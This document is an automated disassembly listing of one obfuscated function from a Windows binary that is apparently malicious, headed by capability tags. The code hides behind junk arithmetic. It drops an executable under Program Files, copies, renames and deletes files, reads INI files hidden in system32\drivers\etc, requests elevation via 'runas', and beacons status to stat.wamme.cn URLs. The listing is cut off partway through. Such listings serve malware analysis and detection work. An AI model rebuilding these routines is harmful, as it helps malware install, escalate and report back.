Function at 0x402420
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44388b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a8
call fcn.004298f0
mov eax, dword [0x456fc0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x4556a8]
imul esi, esi, 0xcecf4
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x45569c]
stosb byte es:[edi], al
mov eax, dword [0x45568c]
imul eax, eax, 0x6e7be
add esi, eax
mov eax, 0x948af151
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
push 0
mov dword [str._r_____r____], edi
mov dword [ebp - 4], 0
call fcn.004298af
mov ecx, dword [0x4556a8]
mov edi, dword [0x4556a0]
imul ecx, ecx, 0xcecf4
imul edi, edi, 0x6e7be
mov esi, eax
sub edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
mov ebx, edx
add edi, edx
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
shr ebx, 0x1f
mov eax, edx
add ebx, edi
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x455694]
add eax, ebx
sub eax, edx
add eax, 0xbae2b
add esp, 4
mov dword [0x45568c], eax
call fcn.00440e15
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdb4]
call fcn.00402370
mov ecx, dword [ebp - 0xdb4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402570
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402583
sub eax, edx
mov dword [ebp - 0xdb0], eax
jne 0x402f2b
mov edi, dword [0x455698]
mov edx, dword [0x45568c]
imul edi, edi, 0x5715a
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
add edi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x4556a4]
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
add edi, eax
lea eax, [ebp - 0x114]
push eax
push 0x445dd9
push str.rand
lea edx, [ecx + edi - 0x205c4]
push str.aaaaa
mov dword [0x455694], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x114]
push ecx
call fcn.004298aa
add esp, 4
test eax, eax
jle 0x402635
lea edx, [ebp - 0x114]
push edx
call fcn.004298aa
add esp, 4
mov esi, eax
mov eax, esi
cdq
mov ecx, 0x190
idiv ecx
mov ebx, edx
mov eax, edx
and eax, 0x80000001
mov dword [ebp - 0xda8], ebx
jns 0x402655
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x4026be
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov eax, 0x1784740b
imul esi, esi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
mov ecx, dword [0x4556a4]
sar edx, 0x13
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
lea esi, [ebx - 1]
mov dword [0x45569c], edi
inc ebx
jmp 0x40272e
mov edi, dword [0x45569c]
mov ecx, dword [0x455688]
mov eax, 0x948af151
imul ecx, ecx, 0x53aff
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x8aa1b
mov esi, dword [0x4556a4]
add ecx, edx
mov edx, dword [0x45568c]
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcccc28f7
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov esi, ebx
mov dword [0x4556a4], ecx
add ebx, 2
mov eax, 0x1784740b
imul ecx
mov eax, dword [0x4556a0]
imul eax, eax, 0xfff23675
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x3b1db3af
imul edi
mov edi, dword [0x455688]
sar edx, 0x11
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
imul ecx, ecx, 0x205c4
sub eax, ecx
mov ecx, dword [str._r_____r____]
lea edx, [eax + ecx]
add edi, edx
mov edx, 0x190
cmp ebx, edx
mov dword [0x455688], edi
jl 0x402796
mov ebx, dword [ebp - 0xda8]
dec ebx
imul esi, esi, 0x21
add eax, ecx
mov ecx, dword [0x455688]
lea esi, [esi + str.Installing]
add ecx, eax
push esi
lea eax, [ebp - 0x214]
push str.C:Program_Files_s
push eax
mov dword [0x455688], ecx
mov dword [ebp - 0xdb0], esi
call fcn.004297ca
add esp, 0xc
push 0
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, ebx
imul edx, edx, 0x21
add edx, str.Installing
push edx
push esi
lea eax, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push eax
call fcn.004297ca
mov ecx, dword [0x455694]
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455698]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub edi, eax
imul edx, edx, 0x53aff
add edi, edx
mov edx, dword [0x45568c]
mov eax, ecx
imul edx, edx, 0x6e7be
imul ecx, ecx, 0xcecf4
imul eax, eax, 0x205c4
sub edi, eax
sub edi, esi
add ecx, edx
mov dword [0x455698], edi
mov edi, dword [0x45569c]
mov eax, 0x948af151
imul edi
add edx, edi
mov edi, dword [0x455690]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
add esp, 0x10
mov dword [ebp - 0xdac], 0
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
mov dword [str._r_____r____], ecx
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.0043612b
mov esi, dword [0x4556a8]
mov ecx, dword [0x4556a0]
mov edi, eax
imul ecx, ecx, 0x6e7be
mov eax, esi
imul eax, eax, 0xcecf4
sub ecx, eax
mov dword [ebp - 0xda8], ecx
mov ecx, dword [0x45568c]
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [ebp - 0xda8]
sar edx, 0x10
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0xda8], eax
mov eax, 0x3b1784cb
imul dword [0x455690]
mov eax, dword [ebp - 0xda8]
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
sub ecx, dword [0x455694]
add ecx, 0xbae2b
add esp, 0xc
cmp edi, 0xffffffff
mov dword [0x45568c], ecx
je 0x402b9f
mov esi, dword [0x455698]
imul ecx, ecx, 0x6e7be
imul esi, esi, 0x5715a
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x30f1b28f
imul ecx
mov eax, dword [0x4556a4]
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x8aa1b
sub esi, ecx
push 0x100000
add esi, eax
lea eax, [edx + esi - 0x205c4]
push 0x457f40
push edi
mov dword [0x455694], eax
call fcn.00434d48
mov esi, eax
push edi
mov dword [ebp - 0xda8], esi
call fcn.00434ee4
add esp, 0x10
cmp esi, 0x2800
jle 0x402b93
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov eax, 0x1784740b
imul esi, esi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0
mov dword [0x45569c], eax
call fcn.004298af
push eax
push 0x445d98
push 0x458240
call fcn.004297ca
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.0043612b
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402b93
mov ecx, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xda8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
push ecx
add eax, edx
sub edi, eax
push 0x457f40
push esi
mov dword [0x4556a4], edi
call fcn.00432813
push 2
push 0
push esi
call fcn.0043259a
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a4]
mov edi, dword [0x4556a0]
mov eax, 0x1784740b
imul edi, edi, 0xfff23675
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1db3af
imul ecx
sar edx, 0x11
add edi, edx
mov ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x205c4
shr ecx, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
sub ecx, edx
mov edx, dword [0x455688]
push ebx
lea eax, [ebp - 0xc14]
add ecx, edi
push eax
add edx, ecx
push esi
mov dword [0x455688], edx
call fcn.00432813
push esi
call fcn.00434ee4
add esp, 0x28
mov dword [ebp - 0xdac], 1
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a8]
mov edi, dword [0x455688]
mov ebx, dword [0x45569c]
imul edi, edi, 0x5715a
mov eax, 0x57ab2ce3
imul dword [0x455690]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul edx, edx, 0xa0008
add edi, edx
mov eax, 0xcccc28f7
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, dword [0x4556a0]
mov eax, dword [ebp - 0xdac]
sub edi, 0x205c4
cmp eax, 1
mov dword [0x455690], edi
jne 0x402f1c
imul ecx, ecx, 0x6e7be
imul esi, esi, 0xcecf4
mov eax, 0x948af151
imul ebx
add esi, ecx
add edx, ebx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3b1784cb
imul dword [0x455694]
sub esi, ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x114]
push str._s__33201_
push edx
call fcn.004297ca
mov esi, dword [0x4556a0]
xor eax, eax
imul esi, esi, 0x6e7be
mov ecx, 0x11
lea edi, [ebp - 0xdf8]
rep stosd dword es:[edi], eax
mov eax, dword [0x4556a8]
mov ecx, dword [0x45568c]
imul eax, eax, 0xcecf4
sub esi, eax
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov esi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
mov esi, dword [0x455698]
add eax, 0xbae2b
imul esi, esi, 0x5715a
mov dword [0x45568c], eax
imul eax, eax, 0x6e7be
add esi, eax
mov eax, 0x30f1b28f
imul ecx
mov eax, dword [0x4556a4]
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
add esp, 0xc
sub esi, ecx
imul edx, edx, 0x8aa1b
mov dword [ebp - 0xdf8], 0x44
mov dword [ebp - 0xdcc], 1
mov word [ebp - 0xdc8], 5
add esi, eax
lea eax, [edx + esi - 0x205c4]
lea ecx, [ebp - 0xe08]
push ecx
lea edx, [ebp - 0xdf8]
push edx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x455694], eax
push 0
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402dd8
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov eax, 0x1784740b
imul esi, esi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0
mov dword [0x45569c], eax
call fcn.0042978a
mov ecx, dword [0x45569c]
mov esi, dword [0x455688]
mov eax, 0x948af151
imul esi, esi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xdb0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
push ecx
add eax, edx
lea edx, [ebp - 0x214]
sub esi, eax
push str.C:Program_Files_s
push edx
mov dword [0x4556a4], esi
call fcn.004297ca
add esp, 0xc
push 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x403a15
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
mov eax, 0x1784740b
imul esi, esi, 0xfff23675
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1db3af
imul ecx
mov eax, dword [0x455688]
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [0x455690]
push 0
imul edx, edx, 0x205c4
push 0
push 0
shr ecx, 0x1f
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
add ecx, esi
sub ecx, edx
mov edx, dword [str._r_____r____]
push 0x45567c
push 0
add ecx, edx
add eax, ecx
push 0
mov dword [0x455688], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043b91a
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x402f31
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
jmp 0x402f31
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
mov eax, 0x1784740b
imul esi, esi, 0xfff23675
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, dword [0x455688]
mov eax, 0x3b1db3af
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [0x455690]
imul edx, edx, 0x205c4
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
add ecx, eax
lea eax, [ebp - 0xda4]
push eax
add edi, ecx
push 0x101
mov dword [0x455688], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402faf
push 0
call fcn.0042978a
push 3
push 0x455678
push 0x413c
call fcn.004017b0
add esp, 0xc
test eax, eax
je 0x40304c
mov ecx, dword [0x45569c]
mov esi, dword [0x455688]
mov eax, 0x948af151
imul esi, esi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x455678]
cmp eax, 0xffffffff
mov dword [0x4556a4], esi
je 0x403045
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0042978a
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul ecx, ecx, 0xcecf4
imul esi, esi, 0x6e7be
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0xbae2b
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45568c], eax
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
jne 0x4030d9
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
je 0x4030d9
push 0xea60
call ebx
mov ecx, dword [0x455690]
mov esi, dword [0x455688]
mov eax, 0x57ab2ce3
imul esi, esi, 0x5715a
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xa0008
sub esi, ecx
mov ecx, dword [0x45569c]
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
mov ecx, dword [0x4556a0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
push 0
sub esi, 0x205c4
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x455690], esi
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
je 0x4039b8
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
je 0x4039b8
mov ecx, dword [0x455694]
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455698]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub edi, eax
imul edx, edx, 0x53aff
add edi, edx
mov edx, dword [0x45568c]
mov eax, ecx
imul edx, edx, 0x6e7be
imul ecx, ecx, 0xcecf4
imul eax, eax, 0x205c4
sub edi, eax
add ecx, edx
sub edi, esi
mov dword [0x455698], edi
mov edi, dword [0x45569c]
mov eax, 0x948af151
imul edi
add edx, edi
mov edi, dword [0x455690]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push 0x445cf4
add ecx, esi
push 0x200
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0xa14]
push ecx
push 0x445dd9
push str.ConfigL0
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x445dd9
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40359e
mov eax, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul eax, eax, 0xcecf4
mov ecx, dword [0x45568c]
imul esi, esi, 0x6e7be
sub esi, eax
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
shr edi, 0x1f
mov ecx, edx
add edi, esi
mov esi, dword [0x455694]
shr ecx, 0x1f
add edi, edx
add ecx, edi
lea edx, [ebp - 0xa14]
push edx
sub ecx, esi
lea eax, [ebp - 0x12b8]
add ecx, 0xbae2b
push 0x12c
push eax
mov dword [0x45568c], ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x40359e
mov esi, dword [0x455698]
mov ecx, dword [0x45568c]
imul esi, esi, 0x5715a
imul ecx, ecx, 0x6e7be
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4556a4]
lea edx, [ecx + esi - 0x205c4]
mov dword [0x455694], edx
mov edx, dword [ebp - 0x12b8]
mov eax, edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403350
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12ac]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x403377
push str._s_s
jmp 0x40337c
push 0x445ccc
push ecx
call fcn.004297ca
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov eax, 0x1784740b
imul esi, esi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
add esp, 0x10
mov eax, edx
lea ecx, [ebp - 0x414]
push ecx
add esi, edx
shr eax, 0x1f
lea edx, [ebp - 0x614]
add eax, esi
push str._s.bak
push edx
mov dword [0x45569c], eax
call fcn.004297ca
add esp, 0xc
push 0
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x414]
push edx
call esi
mov ecx, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x414]
sub edi, eax
push 0
push ecx
mov dword [0x4556a4], edi
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
je 0x40350d
mov ecx, dword [0x4556a4]
mov edi, dword [0x4556a0]
mov eax, 0x1784740b
imul edi, edi, 0xfff23675
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1db3af
imul ecx
sar edx, 0x11
add edi, edx
mov ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x205c4
shr ecx, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
sub ecx, edx
mov edx, dword [0x455688]
add ecx, edi
lea eax, [ebp - 0x614]
add edx, ecx
push eax
mov dword [0x455688], edx
call esi
push 0
call fcn.0042978a
mov ecx, dword [0x455690]
mov esi, dword [0x455688]
mov eax, 0x57ab2ce3
imul esi, esi, 0x5715a
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xa0008
sub esi, ecx
mov ecx, dword [0x45569c]
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x4556a0]
lea ecx, [ebp - 0x414]
sub esi, eax
push ecx
lea edx, [ebp - 0x614]
sub esi, 0x205c4
push edx
mov dword [0x455690], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x414]
lea ecx, [ebp - 0x814]
mov edi, edi
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403590
push 0x64
call ebx
mov ecx, dword [0x455698]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
mov ecx, dword [0x4556a8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x53aff
sub esi, eax
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
lea eax, [ebp - 0x814]
mov dword [0x455698], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403612
sub eax, edx
mov dword [ebp - 0xdb0], eax
jne 0x40362a
push 0
call fcn.0042978a
mov ecx, dword [0x45569c]
mov esi, dword [0x455688]
mov eax, 0x948af151
imul esi, esi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x814]
sub esi, eax
push 0
push ecx
mov dword [0x4556a4], esi
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
jne 0x4037cd
mov ecx, dword [0x455698]
mov esi, dword [0x455690]
mov eax, 0x30f1b28f
imul esi, esi, 0x6e7be
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov edi, edx
add esi, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xaafdf
shr edi, 0x1f
push 0
add edi, esi
sub edi, edx
mov eax, 0x3b1db3af
imul ecx
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
sar edx, 0x11
push 0x45567c
mov eax, edx
shr eax, 0x1f
push 0
add eax, edx
sub edi, eax
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x4556a8], edi
call fcn.0043b91a
add esp, 0x2c
push 0x2710
call ebx
mov esi, dword [0x4556a8]
mov ecx, dword [0x45568c]
imul esi, esi, 0xcecf4
imul ecx, ecx, 0x6e7be
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x948af151
imul ecx
add edx, ecx
mov ecx, dword [0x455694]
sar edx, 0x13
